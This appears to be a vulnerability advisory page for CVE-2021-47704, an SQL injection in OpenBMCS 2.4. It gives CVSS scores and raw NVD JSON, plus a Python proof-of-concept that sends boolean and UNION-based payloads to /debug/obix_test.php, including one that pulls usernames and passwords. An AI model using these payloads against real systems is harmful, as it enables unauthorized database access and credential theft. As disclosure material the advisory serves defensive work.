Security Vulnerability Report
中文
CVE-2021-47704 CVSS 6.5 MEDIUM

CVE-2021-47704

Published: 2025-12-09 21:15:49
Last Modified: 2025-12-19 19:34:49

Description

OpenBMCS 2.4 contains an SQL injection vulnerability that allows authenticated attackers to manipulate database queries by injecting arbitrary SQL code. Attackers can send GET requests to /debug/obix_test.php with malicious 'id' values to extract database information.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:openbmcs:openbmcs:2.4:*:*:*:*:*:*:* - VULNERABLE
OpenBMCS 2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2021-47704 OpenBMCS SQL Injection PoC # Target: OpenBMCS 2.4 /debug/obix_test.php def exploit(target_url, payload): """ Exploit SQL injection in OpenBMCS 2.4 Args: target_url: Base URL of the vulnerable application payload: SQL injection payload """ # Construct the vulnerable endpoint vuln_endpoint = f"{target_url}/debug/obix_test.php" # Prepare the malicious request params = {'id': payload} try: # Send GET request with SQL injection payload response = requests.get(vuln_endpoint, params=params, timeout=10) print(f"[*] Target: {vuln_endpoint}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print(f"[+] Response received. Length: {len(response.text)}") print("\n[+] Response snippet:") print(response.text[:500]) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Example payloads if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target.com" # Basic injection test print("=== OpenBMCS CVE-2021-47704 PoC ===") # Test 1: Boolean-based blind injection payload1 = "1' AND 1=1 -- " print("\n[Test 1] Boolean-based injection:") exploit(target, payload1) # Test 2: Extract database version payload2 = "1' UNION SELECT NULL,version(),user(),database() -- " print("\n[Test 2] Extract database information:") exploit(target, payload2) # Test 3: Extract users table payload3 = "1' UNION SELECT NULL,username,password FROM users -- " print("\n[Test 3] Extract user credentials:") exploit(target, payload3)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47704", "sourceIdentifier": "[email protected]", "published": "2025-12-09T21:15:49.200", "lastModified": "2025-12-19T19:34:48.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenBMCS 2.4 contains an SQL injection vulnerability that allows authenticated attackers to manipulate database queries by injecting arbitrary SQL code. Attackers can send GET requests to /debug/obix_test.php with malicious 'id' values to extract database information."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openbmcs:openbmcs:2.4:*:*:*:*:*:*:*", "matchCriteriaId": "E3963F28-1F3E-488E-A815-FA0BD370105D"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50668", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.openbmcs.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/openbmcs-sql-injection-via-obixtestphp", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5692.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}